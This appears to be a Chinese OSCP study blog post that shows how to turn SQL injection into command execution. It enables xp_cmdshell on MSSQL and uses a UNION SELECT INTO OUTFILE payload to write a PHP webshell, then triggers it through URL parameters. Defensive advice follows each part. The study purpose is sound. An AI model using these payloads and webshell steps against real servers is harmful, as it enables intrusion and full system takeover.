5-5〔OSCP ◈ 研记〕❘ SQL注入攻击▸手动滥用SQLi实现提权
郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。
💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥
更多文章戳👉Whoami!-CSDN博客🚀
𖤐 让我们开启SQL注入的新世界吧,走起 !
𖤐 𝓛𝓮𝓽'𝓼 𝓸𝓹𝓮𝓷 𝓾𝓹 𝓪 𝓷𝓮𝔀 𝔀𝓸𝓻𝓵𝓭 𝓸𝓯 𝓢𝓠𝓛 𝓲𝓷𝓳𝓮𝓬𝓽𝓲𝓸𝓷,𝓱𝓮𝓻𝓮 𝔀𝓮 𝓰𝓸 !
→ 信息收集
→ 漏洞检测
→ 初始立足点
→ 权限提升 ▸SQL注入攻击▸手动滥用SQLi实现提权-----我们在这儿~ 🔥🔥🔥
→ 横向移动
→ 报告/分析
→ 教训/修复
目录
1.SQL注入攻击
1.1 滥用xp_cmdshell函数执行系统命令(MSSQL)
1.1.1 什么是xp_cmdshell函数
1.1.2 实战:滥用xp_cmdshell
1.1.2.1 远程连接MSSQL
1.1.2.2 启用高级选项
1.1.2.3 激活xp_cmdshell
1.1.2.4 命令执行
1.基本语法
2.其他实用示例
3.权限升级
1.1.2.5 安全影响与防御建议
1.2 滥用SELECT INTO OUTFILE实现RCE(MySQL)
1.2.1 攻击原理概述
1. 攻击前提条件
2. 攻击流程
3. 技术特点
4. 风险影响
1.2.2 实战:滥用SELECT INTO OUTFILE
1.2.2.1 构造WebShell Payload
1.2.2.2 执行注入并验证
1.2.3 安全影响与防御建议
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论
1.SQL注入攻击
根据所针对的底层数据库系统的不同,需要调整策略以获得代码执行。以下以Microsoft SQL Server为例,利用xp_cmdshell函数来获得代码执行。
1.1 滥用xp_cmdshell函数执行系统命令(MSSQL)
1.1.1 什么是xp_cmdshell函数
xp_cmdshell函数 :是 Microsoft SQL Server 中一个功能强大但风险极高的组件。
方面 | 详细说明 |
---|---|
🔍 本质是什么 | 一个扩展存储过程。 |
🌉 核心作用 | 充当 SQL Server 数据库引擎与操作系统之间的 “桥梁”。 |
⚙️ 主要功能 | 接受一个字符串参数(系统命令),将其传递给 Windows 命令 shell (cmd.exe) 执行,并将输出以文本行的形式返回。 |
💡 典型用途 | 执行如 dir 、ping 、运行批处理脚本或外部程序等操作系统命令,用于自动化任务或系统交互。例如:EXEC xp_cmdshell 'dir c:\';查询SQL Server所在机器的C:盘的目录列表。 |
🛡️ 默认状态 | 禁用。这是微软出于安全考虑设定的默认配置,以防止未经授权的命令执行。 |
🎯 调用方式 | 必须使用 EXECUTE 关键字(而非 SELECT )在 MSSQL 调用。 |
⚠️ 安全风险 | 极高。允许从数据库层面直接执行操作系统命令,一旦被滥用,攻击者可完全控制服务器。 |
🔑 权限要求 | 需要 sysadmin 服务器角色(即 SQL Server 管理员)权限才能启用和使用。 |
关键要点:
-
功能定位:它是一个连接 “数据库世界” 和 “操作系统世界” 的桥梁,打破了数据库通常的隔离边界。
-
双刃剑:
-
对管理员:是一个强大的系统管理工具。
-
对攻击者:是一个极具吸引力的权限提升和横向移动的跳板。
-
-
安全第一:正因为其巨大的安全风险,在生产环境中应严格遵守最小权限原则,并始终保持默认的禁用状态,除非有绝对必要且已部署其他安全控制措施。
1.1.2 实战:滥用xp_cmdshell
1.1.2.1 远程连接MSSQL
kali@kali:~$ impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth
-
工具:impacket-mssqlclient
-
用途:远程登录到MSSQL
-
认证方式:Windows身份验证
1.1.2.2 启用高级选项
SQL> EXECUTE sp_configure 'show advanced options', 1;
组件 | 类型 | 功能描述 | 补充说明 |
---|---|---|---|
EXECUTE | SQL 关键字 | 用于执行存储过程或动态 SQL 语句。 | 在此上下文中,它用于调用 sp_configure 这个系统存储过程。在某些情况下可以缩写为 EXEC 。 |
sp_configure | 系统存储过程 | SQL Server 的核心配置工具,用于查看或修改服务器级别的配置选项。 | 它是管理员进行服务器设置的入口,可以管理大量影响数据库引擎行为的参数。 |
'show advanced options' | 配置选项参数 | 此参数控制是否在 sp_configure 的结果中显示高级配置选项。 | 许多敏感的或专业的配置项(如 xp_cmdshell )被归类为“高级选项”,默认情况下对用户隐藏,以简化界面并防止误操作。 |
1 | 选项值 | 启用“显示高级选项”功能。1 = 开启 | 将此值设置为 1 后,之前隐藏的所有高级选项才会在 sp_configure 的列表中显示出来,并允许被修改。与之相对的是 0 ,表示禁用(默认状态)。 |
在执行此命令后,必须运行以下命令才能使配置更改立即生效:
SQL> RECONFIGURE;
-
作用:
RECONFIGURE
语句会指示 SQL Server 重新加载当前通过sp_configure
设置的配置值。如果没有执行这一步,即使设置了'show advanced options', 1
,高级选项也可能不会立即显示。
1.1.2.3 激活xp_cmdshell
SQL> EXECUTE sp_configure 'xp_cmdshell', 1;
SQL> RECONFIGURE;
-
关键参数:
'xp_cmdshell', 1
→ 启用命令执行功能(在MSSQL上执行系统命令) -
安全警示:此操作将显著扩大攻击面
1.1.2.4 命令执行
接下来,就可以在MSSQL上执行系统命令(为所欲为~)。
1.基本语法
SQL> EXECUTE xp_cmdshell '操作系统命令';
2.其他实用示例
-- 查看系统目录
SQL> EXECUTE xp_cmdshell 'dir C:\';-- 网络探测
SQL> EXECUTE xp_cmdshell 'ping 192.168.50.1';-- 系统信息收集
SQL> EXECUTE xp_cmdshell 'systeminfo';
3.权限升级
一旦xp_cmdshell启用且具备执行权限,攻击者可以:
-
将SQL shell升级为反向shell
-
建立持久化后门
-
横向移动至网络其他系统
1.1.2.5 安全影响与防御建议
层面 | 风险等级 | 影响范围 |
---|---|---|
权限提升 | 🔴 高危 | 数据库权限 → 系统权限 |
攻击扩展 | 🔴 高危 | SQL注入 → 系统完全控制 |
检测难度 | 🟡 中危 | 可通过日志审计发现 |
修复成本 | 🟢 低危 | 禁用功能即可缓解 |
🎯 防御建议:
-
生产环境中严格禁用xp_cmdshell
-
遵循最小权限原则
-
实施严格的访问控制
-
启用全面的审计日志
💡 专业提示: 虽然xp_cmdshell为管理员提供了便利,但在安全至上的现代环境中,应优先考虑使用更安全的替代方案来完成系统管理任务。
1.2 滥用SELECT INTO OUTFILE实现RCE(MySQL)
1.2.1 攻击原理概述
方面 | 详细说明 |
---|---|
🎯 攻击目标 | 通过数据库漏洞实现远程代码执行(RCE) |
🔄 攻击路径 | SQL注入 → 文件写入 → 代码执行 → 系统控制 |
🔧 核心语句 | MySQL的 SELECT INTO OUTFILE 语句 |
📝 基本语法 |
这个命令将查询结果写入到指定路径的文件中。 前提是:文件位置必须对运行数据库软件的操作系统用户可写。 |
⚡ 攻击方式 | 将恶意代码写入Web服务器的文件系统,进而执行代码,达到RCE目标。 |
🎭 目标服务 | PHP、Apache、Nginx等Web服务 |
🛡️ 默认防护 | MySQL没有直接实现RCE的单个函数 |
🔍 关键技术要点
1. 攻击前提条件
条件 | 说明 | 重要性 |
---|---|---|
FILE权限 | MySQL用户必须拥有FILE 权限 | 🔴 必需 |
可写路径 | 目标目录对数据库进程可写 | 🔴 必需 |
绝对路径 | 必须知道Web目录的绝对路径 | 🔴 必需 |
安全设置 | secure_file_priv 配置允许导出 | 🟡 可能限制 |
在 MySQL 中,FILE 权限允许用户在服务器上执行与文件相关的操作,具体来说,FILE 权限可以让用户:
- 读取服务器上的文件(如使用
LOAD DATA INFILE
从文件导入数据)。 - 写入服务器上的文件(如使用
SELECT INTO OUTFILE
将查询结果导出到文件)。 - 使用
LOAD_FILE()
函数读取文件内容。
2. 攻击流程
存在SQL注入漏洞 → 构造恶意SELECT语句 → 写入WebShell文件 → 通过HTTP执行 → 获得RCE能力
3. 技术特点
-
🎯 间接攻击:利用文件系统作为中间媒介
-
🔄 权限升级:从数据库权限升级到系统命令执行权限
-
📁 文件创建:在Web目录创建可执行脚本文件
-
🌐 Web触发:通过HTTP请求激活恶意代码
4. 风险影响
-
🔴 完全系统控制
-
🔴 数据泄露风险
-
🔴 持续性后门
-
🔴 横向移动跳板
💡 核心洞察: 这种攻击方式展示了即使数据库本身没有直接的命令执行功能,通过结合文件系统操作和Web服务器特性,仍然可以实现严重的远程代码执行漏洞。
1.2.2 实战:滥用SELECT INTO OUTFILE
1.2.2.1 构造WebShell Payload
在先前的搜索页面中输入构造的WebShell Payload。因此,先要构造WebShell Payload。
攻击payload:(在上图SEARCH框输入)
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE
"/var/www/html/tmp/webshell.php" -- //
🔍 Payload解析:
攻击步骤 | 技术细节 | 安全影响 |
---|---|---|
1. 注入点利用 | 通过UNION SELECT SQL关键字进行注入 | 🔴 利用SQL注入漏洞 |
2. 载荷构造 | 将PHP命令行输出到查询的第一列,其余四列为空 | 🔴 恶意代码准备 |
3. 文件写入 | 把载荷使用INTO OUTFILE 保存为webshell.php | 🔴 持久化攻击载荷 |
4. 路径选择 | 写入到可写的Web文件夹(如/var/www/html/tmp/ ) | 🔴 确保Web可访问 |
🔍 核心技术组件分析
①恶意WebShell
<?php system($_GET['cmd']);?>
代码分解:
组件 | 功能 | 攻击作用 |
---|---|---|
<?php ... ?> | PHP代码标记 | 标识PHP可执行代码块 |
system() | PHP系统函数 | 执行操作系统命令 |
$_GET['cmd'] | 获取URL参数 | 接收攻击者输入的命令 |
整体功能 | 通过URL参数执行任意系统命令 | 🎯 可实现远程代码执行 |
②文件写入机制
-
语句:
INTO OUTFILE "/var/www/html/tmp/webshell.php"
-
功能:将查询结果输出到指定文件路径文件,本例的输出结果就是cmd的参数值。
-
要求:目标路径必须对数据库用户可写
③攻击触发方式
访问模式:通过URL带着GET请求。
http://目标网站/tmp/webshell.php?cmd=系统命令
④实际示例
访问URL | 执行命令 | 攻击效果 |
---|---|---|
http://example.com/tmp/webshell.php?cmd=ls | ls | 列出目录内容 |
http://example.com/tmp/webshell.php?cmd=id | id | 显示当前用户权限 |
http://example.com/tmp/webshell.php?cmd=whoami | whoami | 确认执行身份 |
1.2.2.2 执行注入并验证
执行过程:
-
注入Payload到易受攻击的搜索字段
-
忽略类型错误 - 文件写入不受返回值类型影响,不应影响将Webshell写入磁盘。
-
访问WebShell验证写入成功
✅ 验证结果:
浏览器输入:http://192.168.120.19/tmp/webshell.php?cmd=id
执行刚刚写入的/tmp/webshell.php文件,然后输入cmd的参数id,让系统执行命令。
🎯 攻击成果:
-
✅ WebShell创建成功
-
✅ 命令执行功能正常
-
✅ 权限确认:以
www-data
用户身份执行(Linux Web服务器常见权限) -
✅ 接下来,修改cmd参数,即可执行其他命令
1.2.3 安全影响与防御建议
攻击链路径:
SQL注入 → 文件写入权限 → WebShell部署 → 远程代码执行 → 系统完全控制
安全风险等级评估:
风险阶段 | 威胁等级 | 影响范围 | 检测难度 |
---|---|---|---|
SQL注入 | 🔴 高危 | 数据库数据泄露 | 🟡 中等 |
文件写入 | 🔴 高危 | 系统文件完整性破坏 | 🟢 较易 |
WebShell | 🔴 极高危 | 系统完全沦陷 | 🔴 困难 |
RCE利用 | 🔴 极高危 | 业务中断、数据丢失 | 🔴 极困难 |
🛡️ 防御措施建议:
技术防护层:
防护层面 | 具体措施 | 效果 |
---|---|---|
数据库层 | 遵循最小权限原则,禁用FILE 权限 | 🛡️ 阻断根源 |
应用层 | 严格的输入验证和参数化查询 | 🛡️ 预防注入 |
文件系统 | 设置适当的目录权限,限制Web目录写入 | 🛡️ 增加难度 |
配置安全 | 配置MySQL的secure_file_priv 限制导出路径 | 🛡️ 限制操作 |
监控检测 | 文件完整性监控和WebShell检测 | 🔍 及时发现 |
最佳实践:
-
🚫 永远不要在生产环境授予数据库用户
FILE
权限 -
🔒 严格限制Web服务器的目录写入权限
-
📝 定期审计Web目录中的可疑文件
-
🛡️ 部署WAF检测和阻断SQL注入尝试
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
您的支持是我创作最大的动力!